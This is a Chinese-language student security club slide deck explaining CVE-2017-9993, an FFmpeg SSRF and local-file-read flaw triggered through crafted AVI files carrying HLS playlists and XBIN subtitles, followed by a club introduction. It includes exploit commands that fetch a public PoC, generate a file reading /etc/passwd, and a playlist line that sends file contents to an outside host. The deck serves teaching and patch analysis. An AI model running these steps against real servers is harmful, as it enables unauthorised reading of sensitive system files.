CVE-2017-9993
FFmpeg + AVI + HLS
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
FB: 交大網路安全策進會
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
calee@cs.nctu.edu.tw
交大資工 大三
交大 BambooFox 新手村成員
Outline
- 簡介 SSRF
- 漏洞概念
- POC
- 漏洞觸發流程
- 繞過工具
- 細節
- 第二種攻擊
SSRF
Server Side Request Forgery
- 攻擊者造成由服務端(Server) 發出請求,造成的資安漏洞
- 目的多在與訪問外網無法訪問的系統
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
常見漏洞
- URL 存取 (轉址、分享…)
- 圖片、檔案上傳
- 參考
歷史
CVE-2016-1897 、 CVE-2016-1898
结合 SSRF ,我們可以把 file:// 讀到的內容發送出来
concat: URL1 | URL2 | … | URLN
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
Concept
- 透過上傳的影片檔,觸發 SSRF 漏洞
- 繞過檢查:
- FFmpeg 可以處理 HLS playlist
- HLS playlist 會對外部文件做引用
- 利用 AVI 文件中的 GAB2 字幕模組來觸發此功能
- 通過 XBIN 編解碼器 檢索轉換節點的本地文件
- 任意讀取本地文件
一般視訊上傳
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
source
Attack
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
source
PoC
- 下載 PoC code:
wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py
- 生成 avi:
python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi
- 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站
- FFmpeg 會自動作出處理:
(這裡我們是生成 output.mp4 檔案)
ffmpeg -i sxcurity.avi output.mp4
- 而在處理成 output.mp4 的時候,就會把一開始寫的
/etc/passwd
以影片的方式,呈現出來
漏洞觸發流程
- 制作一个 AVI 格式的容器文件,其中包含 GAP2 格式的字幕和 HLS 播放列表
- 列表中的外部文件特意寫成 /etc/passwd 等希望讀取内容的敏感文件
- ffmpeg 轉碼這個 AVI 文件時,會將其中的 GAP2 内容與 /etc/passwd 文件中的内容接為最终的字幕
- 字幕文本以 XBIN 編碼,最終會被 FFmpeg 轉為視屏
繞過工具
AVI
- AVI 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。
- AVI的檔案結構分為「頭部」,「主體」和「索引」三部分。從尾部的索引可以索引跳到自己想放的位置
- 索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。
FFmpeg
- FFmpeg 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、轉檔、串流功能
- 可以解析 HLS 格式
HLS
- HLS(HTTP Live Streaming): 將影片切成多個片段,適時的求取下一片段
- 不同的備用源中以不同的速率下載同樣的資源
- 在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流
HLS sample
#EXTM3U // 宣告 m3u8 playlist
#EXT-X-VERSION:3
#EXT-X-ALLOW-CACHE:YES
#EXT-X-MEDIA-SEQUENCE:4454
#EXT-X-TARGETDURATION:4 // 每隔 4 秒重新抓一次
#EXTINF:3.998, no desc // 此片段停留 3.998
25133_src/4460.ts // 要索取的 ts 檔
#EXTINF:3.992, no desc
25133_src/4461.ts
#EXTINF:3.985, no desc
25133_src/4462.ts
#EXTINF:3.979, no desc
25133_src/4463.ts
#EXTINF:3.996, no desc
25133_src/4464.ts
參考: TechBridge 技術共筆部落格
細節內容
sxcurity.avi

- RIFF… : AVI header
- GAB2: 使用 GAB2 字幕模組
- #EXTM3U: GAB2 字幕是使用 HLS 格式 (m3u8 playlist)
m3u8

XBin
- XBin 是一個蠻古老的格式
- 可以顯現視訊,文本
- 可以編程
- 將目標文件作為對象,用 xbin 繪製成字符,可作為合法可看的視頻
所以我們希望 m3u8 playlist 可以長這樣
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
希望形成的格式
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是 FFmpeg 對 body 作檢查了,不允許 data 宣告
#EXT-X-KEY
- 表示如何對每個片段進行解碼
- m3u8 本身對 body 有做檢查,不能直接宣告 xbin 格式

- 利用 m3u8 支持 AES128 的 CBC 模式加密的特性
- /dev/zero
- AES-128 CBC
- text: 4c4d465e0b95223279487316ffd9ec3a
0000000000000000
- URI -> AES key: 0000000000000000
- #EXT-X-BYTERANGE 設置偏移

然後用 FFmpeg 做轉檔

- 利用 XBIN 格式與 HLS 的特性
- FFmpeg 做轉檔時,因為 HLS 寫好的,會一個片段一個片段的把 /etc/passwd 帶出來

Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Patch
- 在解析 AVI 時,把 GAB2 字幕限制為常見的 srt 和 ass 格式
- 特殊檔案標頭用白名單過濾 (file://)
另一種攻擊
https://hackerone.com/reports/243470
- FFmpeg 在處理 HLS 時,會先把 playlist 上要處理的每一格先合成成一個檔案
- 利用 playlist 上的第一個檔案格式作為合成檔案格式
- ffmpeg 會對 .txt 做特殊處理,它會嘗試將文件的内容以终端的方式印在屏幕上
So
新的生成檔會長這樣:

- FFmpeg在 GAB2 字幕裡面看到了 #EXTM3U => HLS
- .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string)
- 在合成大檔案後,就可以看到 /etc/passwd 了
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Conclusion
- HLS 協定有其目的
- But HLS 可以引用到外部檔案 (實作)
- 此特性可能讓其未來還有其他漏洞
- 解決方法
Reference
演講
ppt
NCTU CSC
BambooFox

成立宗旨
- 資安技術與知識傳承
- 促進學生的資安意識與技術
- 協助學校漏洞修補、增進校園網路安全
簡介
- BambooFox 誕生於交大 DSNS Lab、SQLab 以及系計中
- 成員包含交大、清大、中央、中原
- 由 Mango King 與 Banana Apple 成立學校社團 網路安全策進會
- 實驗室 + 系計中 + 社團 + 戰隊 + 學長前輩們
- 主要以 CTF 題目為練習目標
CTF
- Capture The Flag,簡稱 CTF
- 由主辦單位設計帶有漏洞的程式或網站,讓參賽者進行解題或互相攻防
- 培育資安人才
- 藉由參與 CTF 競賽,提升自我程度,學習許多神奇技巧,出國玩,拿獎金 (X)
社群效應
- 舉辦/參加 研討會,與台灣各地人才交流、技術分享
- 學長姊願意回來指導
- 認識一些資安界大大
學習資源
BambooFox 讀書會
- 每月一次
- 新竹地區最大資安聚會 XD
- 每次會有一到兩個分享
- CVE, ZeroDay, 病毒設計, 伺服器管理, 社交工程…
- 題目不限,有興趣的都歡迎來參加 or 分享
- 吃吃喝喝,聊聊天